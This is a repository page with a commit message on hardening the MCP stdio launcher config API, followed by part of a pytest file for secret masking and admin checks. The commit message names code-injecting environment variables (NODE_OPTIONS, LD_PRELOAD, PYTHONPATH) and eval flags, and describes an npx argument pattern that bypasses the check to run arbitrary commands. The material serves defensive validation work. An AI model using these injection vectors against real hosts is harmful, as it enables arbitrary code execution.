mirror of
https://github.com/bytedance/deer-flow.git
synced 2026-08-04 11:58:36 +00:00
abe0dfd8fa
* fix(mcp): constrain stdio launcher args and env at the config API
The API-managed stdio allowlist validated only `command`. Since `npx`/`uvx`
exist to fetch and run code, allowlisting the command name alone named a
binary without constraining what that binary ran, so the restriction did not
match the intent stated in `_validate_mcp_update_request`'s own docstring:
reducing the blast radius of a compromised authenticated browser session.
Screen two more fields on the stdio path, shared by `PUT /api/mcp/config` and
the enable branch of `PATCH`:
- `_ARBITRARY_EXEC_ARGS` rejects the flags that make a launcher evaluate a
string (`-c`, `--call`, `-e`, `--eval`, `--print`, `--shell`, `--node-arg`,
`--node-options`), matching `--flag=value` as well as `--flag value`, for
every allowlisted command rather than just `npx`/`uvx`. `-p` is deliberately
absent: it means `--package` for npx and `--python` for uv.
- `_CODE_INJECTING_ENV_VARS` rejects env names that inject code at process
startup (`NODE_OPTIONS`, `LD_PRELOAD`, `PYTHONSTARTUP`, ...), which would
otherwise sidestep the argument check.
Remote transports skip both -- they spawn nothing. Rejection messages echo
only the normalized flag, never the caller's value.
This is defense in depth, not a trust boundary: `npx`/`uvx` fetch and execute
remote packages by design, so an admin can still point one at a package they
published. Gateway admin remains equivalent to code execution on the host, and
the code, backend/AGENTS.md, and README all say so explicitly to keep the
check from being mistaken for a boundary.
`npx`/`uvx` stay in the default allowlist: nearly every official MCP server is
`npx -y @modelcontextprotocol/server-*`, so dropping them would break the
primary UI flow for adding one.
Tests cover each rejected flag spelling, case-insensitivity, `python -c` under
an extended allowlist, env injection, and the PATCH enable path, plus nine
positive cases pinning that real-world `npx`/`uvx`/`python -m` invocations
still validate.
* fix(mcp): screen PYTHONPATH and interpreter short-flag clusters
Review follow-up on the stdio launcher screen.
`PYTHONPATH` bypassed the env denylist on the *default* allowlist: `site`
imports `sitecustomize.py` from any `sys.path` entry before the tool's
entry point runs, so a caller-controlled directory is code execution
under plain `uvx` (verified against the real launcher). `PYTHONHOME` is
the same class via a repointed stdlib. Both are now rejected.
`PYTHONSTARTUP` is inert for non-interactive launchers and stays only as
belt-and-braces, now documented as such.
`-p` was exempted for every command, but it is node's `--print` --- the
long spelling was blocked while the short one passed once an operator
extended the allowlist. Whole-token matching also missed combined short
options (`node -pe`, `perl -we`, `python -Ic`). Both rules now apply to
commands outside `{npx, uvx}`, which are interpreters rather than package
runners; scoping them that way leaves the default allowlist unchanged,
since npx/uvx do not cluster short options and their trailing arguments
belong to a third-party server's own CLI where `-name` is ordinary.
`LD_LIBRARY_PATH`/`DYLD_LIBRARY_PATH` are recorded as an accepted
residual: conditional on the process loading a shadowable library, and
legitimately set by native-dependency servers.
Still defense in depth, not a trust boundary.
* docs(mcp): record NODE_PATH as an accepted search-path residual
Reviewer asked whether NODE_PATH belongs in _CODE_INJECTING_ENV_VARS for
parity with NODE_OPTIONS/PYTHONPATH. It does not, and the mechanism in the
report does not hold: verified on node v22, NODE_PATH is searched *after* the
local node_modules chain (the resolver unshifts the requiring module's paths
ahead of it), so it cannot shadow an installed dependency, and ESM import
ignores it entirely. It can only supply a CJS module that would otherwise
fail to resolve.
That puts it with LD_LIBRARY_PATH as a conditional search path, not with the
unconditional startup execution every entry in the set provides. Widen the
residual note from native-library shadowing to the general class, name
NODE_PATH in it, and pin the boundary with a test so it reads as a decision.
* fix(mcp): scope the stdio arg screen to the launcher's option region
`_arbitrary_exec_arg` inspected every element of `args`, justified by the claim
that the launchers in scope treat the token after `--` as a package name. That
is inaccurate: only the *first* token after `--` is the package name, and with
or without the separator every token from the package name onward is handed to
the third-party server's own argv, where `-c` is routinely "config" and `-e`
"env". So `npx -y @scope/server -c config.json` was rejected even though npm
never parses that `-c`, and the positive cases stayed green only because they
were picked to dodge the denylist. Over-blocking, not a bypass -- a regression
against the PR's own "the primary UI flow must keep working" goal.
Screen the launcher's own option region instead. Finding that region needs each
launcher's option *arity*, because a value is not a positional:
`npx -p <pkg> -c '<command>'` runs the command -- `-p` is `npm exec`'s
`--package` (it overrides the global `--parseable` shorthand), so `<pkg>` is
its value and npm keeps parsing its own flags. Ending the region at the first
non-flag token, the obvious rule, walks straight past that and turns an
over-block into a real eval bypass. The tables are therefore generated, not
guessed: `_NPX_BOOLEAN_ARGS` from `@npmcli/config` (npm 10.9.4) with the `-p`
override applied, `_UVX_VALUE_ARGS` from `uvx --help` (uv 0.11.1).
The unknown-option default is deliberately opposite per launcher, following the
exec set rather than symmetry. npx owns real exec flags, so an unknown option
consumes a value and keeps the region open; npm errors on options it does not
define, so that direction cannot reject an invocation that would otherwise
work. uvx owns no string-eval flag at all, so its screen is a tripwire rather
than a control, and an unknown option consumes nothing -- which keeps uv's
large and growing boolean surface from over-blocking. uvx also drops the short
spellings from its exec set, since `-c` is uv's `--constraints <file>`: an
ordinary documented option the old screen rejected outright.
Short options are matched case-sensitively now, because their case selects a
different option -- npm reads `-C` as `--prefix`, and folding it onto `-c`
rejected it. Long spellings stay case-insensitive: npm accepts `--CALL` and
runs it. Commands outside the package-launcher table are interpreters rather
than package runners and keep the unchanged whole-args screen, including the
`-p` rule and cluster decomposition.
Verified against the real launchers rather than by reading their docs. For
every argument vector in the new tests the validator's verdict matches whether
`npx` actually executes the string or passes it through to the server, and the
bypass-guard cases were confirmed to fail under the naive first-non-flag-token
boundary before being pinned.
Reported by @willem-bd on #4617. Two further false positives found while
confirming it are covered here: `uvx -c constraints.txt <tool>` above, and
`docker run -i --rm -e KEY <image>` -- the canonical GitHub MCP server
invocation -- which an operator who extends the allowlist with `docker` still
hits, since the conservative non-package-launcher path is unchanged.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
1529 lines
56 KiB
Python
1529 lines
56 KiB
Python
"""Tests for MCP config secret masking and preservation.
|
|
|
|
Verifies that GET /api/mcp/config masks sensitive fields (env values,
|
|
header values, OAuth secrets) and that PUT /api/mcp/config correctly
|
|
preserves existing secrets when the frontend round-trips masked values.
|
|
PATCH /api/mcp/config coverage pins targeted state changes, raw-config
|
|
preservation, transport aliases, authorization, and command validation.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
from types import SimpleNamespace
|
|
|
|
import pytest
|
|
from fastapi import HTTPException
|
|
|
|
from app.gateway.deps import require_admin_user
|
|
from app.gateway.routers import mcp as mcp_router
|
|
from app.gateway.routers.mcp import (
|
|
_ADMIN_REQUIRED_DETAIL,
|
|
_MCP_STDIO_COMMAND_ALLOWLIST_ENV,
|
|
McpConfigUpdateRequest,
|
|
McpOAuthConfigResponse,
|
|
McpServerConfigResponse,
|
|
McpServerStateUpdateRequest,
|
|
_mask_server_config,
|
|
_merge_preserving_secrets,
|
|
_validate_mcp_update_request,
|
|
reset_mcp_tools_cache_endpoint,
|
|
update_mcp_configuration,
|
|
update_mcp_server_state,
|
|
)
|
|
from deerflow.config.extensions_config import ExtensionsConfig, McpServerConfig
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# _mask_server_config
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_mask_replaces_env_values_with_asterisks():
|
|
"""Env dict values should be replaced with '***'."""
|
|
server = McpServerConfigResponse(
|
|
env={"GITHUB_TOKEN": "ghp_real_secret_123", "API_KEY": "sk-abc"},
|
|
)
|
|
masked = _mask_server_config(server)
|
|
assert masked.env == {"GITHUB_TOKEN": "***", "API_KEY": "***"}
|
|
|
|
|
|
def test_mask_replaces_header_values_with_asterisks():
|
|
"""Header dict values should be replaced with '***'."""
|
|
server = McpServerConfigResponse(
|
|
headers={"Authorization": "Bearer tok_123", "X-API-Key": "key_456"},
|
|
)
|
|
masked = _mask_server_config(server)
|
|
assert masked.headers == {"Authorization": "***", "X-API-Key": "***"}
|
|
|
|
|
|
def test_mask_removes_oauth_secrets():
|
|
"""OAuth client_secret and refresh_token should be set to None."""
|
|
server = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_id="my-client",
|
|
client_secret="super-secret",
|
|
refresh_token="refresh-token-abc",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
masked = _mask_server_config(server)
|
|
assert masked.oauth is not None
|
|
assert masked.oauth.client_secret is None
|
|
assert masked.oauth.refresh_token is None
|
|
# Non-secret fields preserved
|
|
assert masked.oauth.client_id == "my-client"
|
|
assert masked.oauth.token_url == "https://auth.example.com/token"
|
|
|
|
|
|
def test_mask_preserves_non_secret_fields():
|
|
"""Non-sensitive fields should pass through unchanged."""
|
|
server = McpServerConfigResponse(
|
|
enabled=True,
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
env={"KEY": "val"},
|
|
description="GitHub MCP server",
|
|
)
|
|
masked = _mask_server_config(server)
|
|
assert masked.enabled is True
|
|
assert masked.type == "stdio"
|
|
assert masked.command == "npx"
|
|
assert masked.args == ["-y", "@modelcontextprotocol/server-github"]
|
|
assert masked.description == "GitHub MCP server"
|
|
|
|
|
|
def test_mask_handles_empty_env_and_headers():
|
|
"""Empty env/headers dicts should remain empty."""
|
|
server = McpServerConfigResponse()
|
|
masked = _mask_server_config(server)
|
|
assert masked.env == {}
|
|
assert masked.headers == {}
|
|
|
|
|
|
def test_mask_handles_no_oauth():
|
|
"""Server without OAuth should remain None."""
|
|
server = McpServerConfigResponse(oauth=None)
|
|
masked = _mask_server_config(server)
|
|
assert masked.oauth is None
|
|
|
|
|
|
def test_mask_does_not_mutate_original():
|
|
"""Masking should return a new object, not modify the original."""
|
|
server = McpServerConfigResponse(env={"KEY": "secret"})
|
|
masked = _mask_server_config(server)
|
|
assert server.env["KEY"] == "secret"
|
|
assert masked.env["KEY"] == "***"
|
|
|
|
|
|
def test_mask_scrubs_sensitive_extra_fields_but_preserves_safe_extra_fields():
|
|
"""Unknown advanced fields are preserved, but secret-shaped keys are masked."""
|
|
server = McpServerConfigResponse(
|
|
cwd="/srv/mcp-workdir",
|
|
customFlag="keep-me",
|
|
api_key="real-extra-secret",
|
|
nested={"refreshToken": "refresh-secret", "safe": "visible"},
|
|
endpoints=[{"access_key": "access-secret", "name": "prod"}],
|
|
)
|
|
|
|
masked = _mask_server_config(server)
|
|
|
|
assert masked.model_extra["cwd"] == "/srv/mcp-workdir"
|
|
assert masked.model_extra["customFlag"] == "keep-me"
|
|
assert masked.model_extra["api_key"] == "***"
|
|
assert masked.model_extra["nested"] == {"refreshToken": "***", "safe": "visible"}
|
|
assert masked.model_extra["endpoints"] == [{"access_key": "***", "name": "prod"}]
|
|
assert server.model_extra["api_key"] == "real-extra-secret"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# _merge_preserving_secrets
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_merge_preserves_masked_env_values():
|
|
"""Incoming '***' env values should be replaced with existing secrets."""
|
|
incoming = McpServerConfigResponse(env={"KEY": "***"})
|
|
existing = McpServerConfigResponse(env={"KEY": "real_secret"})
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.env["KEY"] == "real_secret"
|
|
|
|
|
|
def test_merge_preserves_masked_header_values():
|
|
"""Incoming '***' header values should be replaced with existing secrets."""
|
|
incoming = McpServerConfigResponse(headers={"Authorization": "***"})
|
|
existing = McpServerConfigResponse(headers={"Authorization": "Bearer real"})
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.headers["Authorization"] == "Bearer real"
|
|
|
|
|
|
def test_merge_preserves_oauth_secrets_when_none():
|
|
"""Incoming None oauth secrets should preserve existing values."""
|
|
incoming = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret=None,
|
|
refresh_token=None,
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
existing = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="existing-secret",
|
|
refresh_token="existing-refresh",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.oauth is not None
|
|
assert merged.oauth.client_secret == "existing-secret"
|
|
assert merged.oauth.refresh_token == "existing-refresh"
|
|
|
|
|
|
def test_merge_accepts_new_secret_values():
|
|
"""Incoming real secret values should replace existing ones."""
|
|
incoming = McpServerConfigResponse(
|
|
env={"KEY": "new_secret"},
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="new-client-secret",
|
|
refresh_token="new-refresh-token",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
existing = McpServerConfigResponse(
|
|
env={"KEY": "old_secret"},
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="old-secret",
|
|
refresh_token="old-refresh",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.env["KEY"] == "new_secret"
|
|
assert merged.oauth.client_secret == "new-client-secret"
|
|
assert merged.oauth.refresh_token == "new-refresh-token"
|
|
|
|
|
|
def test_merge_handles_no_existing_oauth():
|
|
"""When existing has no oauth but incoming does, keep incoming."""
|
|
incoming = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="new-secret",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
existing = McpServerConfigResponse(oauth=None)
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.oauth is not None
|
|
assert merged.oauth.client_secret == "new-secret"
|
|
|
|
|
|
def test_merge_does_not_mutate_original():
|
|
"""Merge should return a new object, not modify the original."""
|
|
incoming = McpServerConfigResponse(env={"KEY": "***"})
|
|
existing = McpServerConfigResponse(env={"KEY": "secret"})
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert incoming.env["KEY"] == "***"
|
|
assert existing.env["KEY"] == "secret"
|
|
assert merged.env["KEY"] == "secret"
|
|
|
|
|
|
def test_merge_preserves_masked_sensitive_extra_values():
|
|
"""Masked secret-shaped extra fields should round-trip to existing values."""
|
|
incoming = McpServerConfigResponse(
|
|
cwd="/srv/new-workdir",
|
|
api_key="***",
|
|
nested={"refreshToken": "***", "safe": "updated"},
|
|
endpoints=[{"access_key": "***", "name": "prod"}],
|
|
)
|
|
existing = McpServerConfigResponse(
|
|
cwd="/srv/old-workdir",
|
|
api_key="real-extra-secret",
|
|
nested={"refreshToken": "real-refresh", "safe": "old"},
|
|
endpoints=[{"access_key": "real-access", "name": "prod"}],
|
|
)
|
|
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
|
|
assert merged.model_extra["cwd"] == "/srv/new-workdir"
|
|
assert merged.model_extra["api_key"] == "real-extra-secret"
|
|
assert merged.model_extra["nested"] == {"refreshToken": "real-refresh", "safe": "updated"}
|
|
assert merged.model_extra["endpoints"] == [{"access_key": "real-access", "name": "prod"}]
|
|
|
|
|
|
def test_merge_rejects_masked_sensitive_extra_value_for_new_key():
|
|
"""A new unknown secret field must provide a real value, not a mask."""
|
|
incoming = McpServerConfigResponse(api_key="***")
|
|
existing = McpServerConfigResponse()
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_merge_preserving_secrets(incoming, existing)
|
|
|
|
assert exc_info.value.status_code == 400
|
|
assert "api_key" in exc_info.value.detail
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Comment 2 fix: masked value for new key is rejected
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_merge_rejects_masked_value_for_new_env_key():
|
|
"""Sending '***' for a key that doesn't exist in existing should raise 400."""
|
|
from fastapi import HTTPException
|
|
|
|
incoming = McpServerConfigResponse(env={"NEW_KEY": "***"})
|
|
existing = McpServerConfigResponse(env={})
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_merge_preserving_secrets(incoming, existing)
|
|
assert exc_info.value.status_code == 400
|
|
assert "NEW_KEY" in exc_info.value.detail
|
|
|
|
|
|
def test_merge_rejects_masked_value_for_new_header_key():
|
|
"""Sending '***' for a header key that doesn't exist should raise 400."""
|
|
from fastapi import HTTPException
|
|
|
|
incoming = McpServerConfigResponse(headers={"X-New-Auth": "***"})
|
|
existing = McpServerConfigResponse(headers={})
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
_merge_preserving_secrets(incoming, existing)
|
|
assert exc_info.value.status_code == 400
|
|
assert "X-New-Auth" in exc_info.value.detail
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Comment 4 fix: empty string clears OAuth secrets
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_merge_empty_string_clears_oauth_client_secret():
|
|
"""Sending '' for client_secret should clear the stored value."""
|
|
incoming = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="",
|
|
refresh_token=None,
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
existing = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="existing-secret",
|
|
refresh_token="existing-refresh",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.oauth.client_secret is None
|
|
assert merged.oauth.refresh_token == "existing-refresh"
|
|
|
|
|
|
def test_merge_empty_string_clears_oauth_refresh_token():
|
|
"""Sending '' for refresh_token should clear the stored value."""
|
|
incoming = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret=None,
|
|
refresh_token="",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
existing = McpServerConfigResponse(
|
|
oauth=McpOAuthConfigResponse(
|
|
client_secret="existing-secret",
|
|
refresh_token="existing-refresh",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
)
|
|
merged = _merge_preserving_secrets(incoming, existing)
|
|
assert merged.oauth.client_secret == "existing-secret"
|
|
assert merged.oauth.refresh_token is None
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Round-trip integration: mask → merge should preserve original secrets
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def test_roundtrip_mask_then_merge_preserves_original_secrets():
|
|
"""Simulates the full frontend round-trip: GET (masked) → toggle → PUT."""
|
|
original = McpServerConfigResponse(
|
|
enabled=True,
|
|
env={"GITHUB_TOKEN": "ghp_real_secret"},
|
|
headers={"Authorization": "Bearer real_token"},
|
|
oauth=McpOAuthConfigResponse(
|
|
client_id="client-123",
|
|
client_secret="oauth-secret",
|
|
refresh_token="refresh-abc",
|
|
token_url="https://auth.example.com/token",
|
|
),
|
|
description="GitHub MCP server",
|
|
)
|
|
|
|
# Step 1: Server returns masked config (simulates GET response)
|
|
masked = _mask_server_config(original)
|
|
assert masked.env["GITHUB_TOKEN"] == "***"
|
|
assert masked.oauth.client_secret is None
|
|
|
|
# Step 2: Frontend toggles enabled and sends back (simulates PUT request)
|
|
from_frontend = masked.model_copy(update={"enabled": False})
|
|
|
|
# Step 3: Server merges with existing secrets (simulates PUT handler)
|
|
restored = _merge_preserving_secrets(from_frontend, original)
|
|
assert restored.enabled is False
|
|
assert restored.env["GITHUB_TOKEN"] == "ghp_real_secret"
|
|
assert restored.headers["Authorization"] == "Bearer real_token"
|
|
assert restored.oauth.client_secret == "oauth-secret"
|
|
assert restored.oauth.refresh_token == "refresh-abc"
|
|
# Non-secret fields from the update are preserved
|
|
assert restored.description == "GitHub MCP server"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Security hardening: MCP config API authorization and stdio command policy
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
def _request_with_role(system_role: str):
|
|
return SimpleNamespace(
|
|
state=SimpleNamespace(
|
|
user=SimpleNamespace(
|
|
id="user-1",
|
|
system_role=system_role,
|
|
)
|
|
)
|
|
)
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_mcp_config_requires_admin_user():
|
|
"""MCP config is system-level executable configuration, not a normal user setting."""
|
|
await require_admin_user(_request_with_role("admin"), detail=_ADMIN_REQUIRED_DETAIL)
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await require_admin_user(_request_with_role("user"), detail=_ADMIN_REQUIRED_DETAIL)
|
|
|
|
assert exc_info.value.status_code == 403
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_reset_mcp_tools_cache_endpoint_requires_admin_user(monkeypatch):
|
|
called = False
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal called
|
|
called = True
|
|
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
|
|
response = await reset_mcp_tools_cache_endpoint(_request_with_role("admin"))
|
|
|
|
assert called is True
|
|
assert response.success is True
|
|
assert "next use" in response.message
|
|
|
|
with pytest.raises(HTTPException) as exc_info:
|
|
await reset_mcp_tools_cache_endpoint(_request_with_role("user"))
|
|
|
|
assert exc_info.value.status_code == 403
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_configuration_resets_tools_cache(monkeypatch, tmp_path):
|
|
reset_calls = 0
|
|
config_path = tmp_path / "extensions_config.json"
|
|
config_path.write_text('{"mcpServers": {}, "skills": {}}', encoding="utf-8")
|
|
|
|
current_config = SimpleNamespace(skills={}, mcp_servers={})
|
|
reloaded_config = SimpleNamespace(
|
|
mcp_servers={
|
|
"github": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
)
|
|
}
|
|
)
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal reset_calls
|
|
reset_calls += 1
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "get_extensions_config", lambda: current_config)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", lambda: reloaded_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
|
|
response = await update_mcp_configuration(
|
|
_request_with_role("admin"),
|
|
McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"github": McpServerConfigResponse(
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-github"],
|
|
)
|
|
}
|
|
),
|
|
)
|
|
|
|
assert reset_calls == 1
|
|
assert list(response.mcp_servers) == ["github"]
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_configuration_preserves_omitted_routing_and_tools(monkeypatch, tmp_path):
|
|
"""Frontend toggles must not erase hand-authored MCP routing hints."""
|
|
config_path = tmp_path / "extensions_config.json"
|
|
config_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"mcpServers": {
|
|
"postgres": {
|
|
"enabled": True,
|
|
"type": "stdio",
|
|
"command": "npx",
|
|
"args": ["-y", "@modelcontextprotocol/server-postgres"],
|
|
"routing": {
|
|
"mode": "prefer",
|
|
"priority": 50,
|
|
"keywords": ["订单", "SQL"],
|
|
},
|
|
"tools": {
|
|
"query": {
|
|
"routing": {
|
|
"priority": 100,
|
|
"keywords": ["查库"],
|
|
}
|
|
}
|
|
},
|
|
}
|
|
},
|
|
"skills": {},
|
|
}
|
|
),
|
|
encoding="utf-8",
|
|
)
|
|
|
|
current_config = SimpleNamespace(skills={}, mcp_servers={})
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "get_extensions_config", lambda: current_config)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", lambda: None)
|
|
|
|
response = await update_mcp_configuration(
|
|
_request_with_role("admin"),
|
|
McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"postgres": McpServerConfigResponse(
|
|
enabled=False,
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@modelcontextprotocol/server-postgres"],
|
|
)
|
|
}
|
|
),
|
|
)
|
|
|
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
|
postgres = persisted["mcpServers"]["postgres"]
|
|
assert postgres["enabled"] is False
|
|
assert postgres["routing"]["keywords"] == ["订单", "SQL"]
|
|
assert postgres["tools"]["query"]["routing"]["priority"] == 100
|
|
assert response.mcp_servers["postgres"].routing.keywords == ["订单", "SQL"]
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_configuration_preserves_server_extra_fields(monkeypatch, tmp_path):
|
|
"""Gateway round-trips must preserve advanced server fields unknown to the API model."""
|
|
config_path = tmp_path / "extensions_config.json"
|
|
config_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"mcpServers": {
|
|
"playwright": {
|
|
"enabled": True,
|
|
"type": "stdio",
|
|
"command": "npx",
|
|
"args": ["-y", "@playwright/mcp"],
|
|
"cwd": "/srv/mcp-workdir",
|
|
"customFlag": "keep-me",
|
|
"api_key": "real-extra-secret",
|
|
}
|
|
},
|
|
"skills": {},
|
|
}
|
|
),
|
|
encoding="utf-8",
|
|
)
|
|
|
|
current_config = SimpleNamespace(skills={}, mcp_servers={})
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "get_extensions_config", lambda: current_config)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", lambda: None)
|
|
|
|
response = await update_mcp_configuration(
|
|
_request_with_role("admin"),
|
|
McpConfigUpdateRequest(
|
|
mcp_servers={
|
|
"playwright": McpServerConfigResponse(
|
|
enabled=False,
|
|
type="stdio",
|
|
command="npx",
|
|
args=["-y", "@playwright/mcp"],
|
|
)
|
|
}
|
|
),
|
|
)
|
|
|
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
|
playwright = persisted["mcpServers"]["playwright"]
|
|
assert playwright["enabled"] is False
|
|
assert playwright["cwd"] == "/srv/mcp-workdir"
|
|
assert playwright["customFlag"] == "keep-me"
|
|
assert playwright["api_key"] == "real-extra-secret"
|
|
assert response.mcp_servers["playwright"].model_extra["cwd"] == "/srv/mcp-workdir"
|
|
assert response.mcp_servers["playwright"].model_extra["api_key"] == "***"
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
@pytest.mark.parametrize("enabled", [False, True])
|
|
async def test_update_mcp_server_state_updates_valid_target_despite_unrelated_disallowed_command(
|
|
monkeypatch,
|
|
tmp_path,
|
|
enabled: bool,
|
|
):
|
|
config_path = tmp_path / "extensions_config.json"
|
|
original = {
|
|
"mcpServers": {
|
|
"semantic-scholar": {
|
|
"enabled": True,
|
|
"type": "stdio",
|
|
"command": "s2-mcp-server",
|
|
"env": {"S2_API_KEY": "$S2_API_KEY"},
|
|
"customFlag": "keep-me",
|
|
},
|
|
"github": {
|
|
"enabled": not enabled,
|
|
"type": "stdio",
|
|
"command": "npx",
|
|
"args": ["-y", "@modelcontextprotocol/server-github"],
|
|
},
|
|
},
|
|
"skills": {"research": {"enabled": False}},
|
|
"middlewares": ["example.middleware:Middleware"],
|
|
"customTopLevel": {"preserve": True},
|
|
}
|
|
config_path.write_text(json.dumps(original), encoding="utf-8")
|
|
reset_calls = 0
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal reset_calls
|
|
reset_calls += 1
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
monkeypatch.setattr(mcp_router, "reload_extensions_config", fake_reload_extensions_config)
|
|
monkeypatch.setattr(mcp_router, "reset_mcp_tools_cache", fake_reset_mcp_tools_cache)
|
|
monkeypatch.delenv(_MCP_STDIO_COMMAND_ALLOWLIST_ENV, raising=False)
|
|
|
|
response = await update_mcp_server_state(
|
|
_request_with_role("admin"),
|
|
McpServerStateUpdateRequest(server_name="github", enabled=enabled),
|
|
)
|
|
|
|
persisted = json.loads(config_path.read_text(encoding="utf-8"))
|
|
assert persisted["mcpServers"]["github"]["enabled"] is enabled
|
|
assert persisted["mcpServers"]["semantic-scholar"] == original["mcpServers"]["semantic-scholar"]
|
|
assert persisted["skills"] == original["skills"]
|
|
assert persisted["middlewares"] == original["middlewares"]
|
|
assert persisted["customTopLevel"] == original["customTopLevel"]
|
|
assert response.mcp_servers["github"].enabled is enabled
|
|
assert response.mcp_servers["semantic-scholar"].env == {"S2_API_KEY": "***"}
|
|
assert reset_calls == 1
|
|
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_update_mcp_server_state_allows_disabling_but_rejects_enabling_disallowed_command(monkeypatch, tmp_path):
|
|
config_path = tmp_path / "extensions_config.json"
|
|
config_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"mcpServers": {
|
|
"semantic-scholar": {
|
|
"enabled": True,
|
|
"type": "stdio",
|
|
"command": "s2-mcp-server",
|
|
}
|
|
},
|
|
"skills": {},
|
|
}
|
|
),
|
|
encoding="utf-8",
|
|
)
|
|
reset_calls = 0
|
|
|
|
def fake_reload_extensions_config():
|
|
return ExtensionsConfig.model_validate(json.loads(config_path.read_text(encoding="utf-8")))
|
|
|
|
def fake_reset_mcp_tools_cache():
|
|
nonlocal reset_calls
|
|
reset_calls += 1
|
|
|
|
monkeypatch.setattr(mcp_router.ExtensionsConfig, "resolve_config_path", lambda: config_path)
|
|
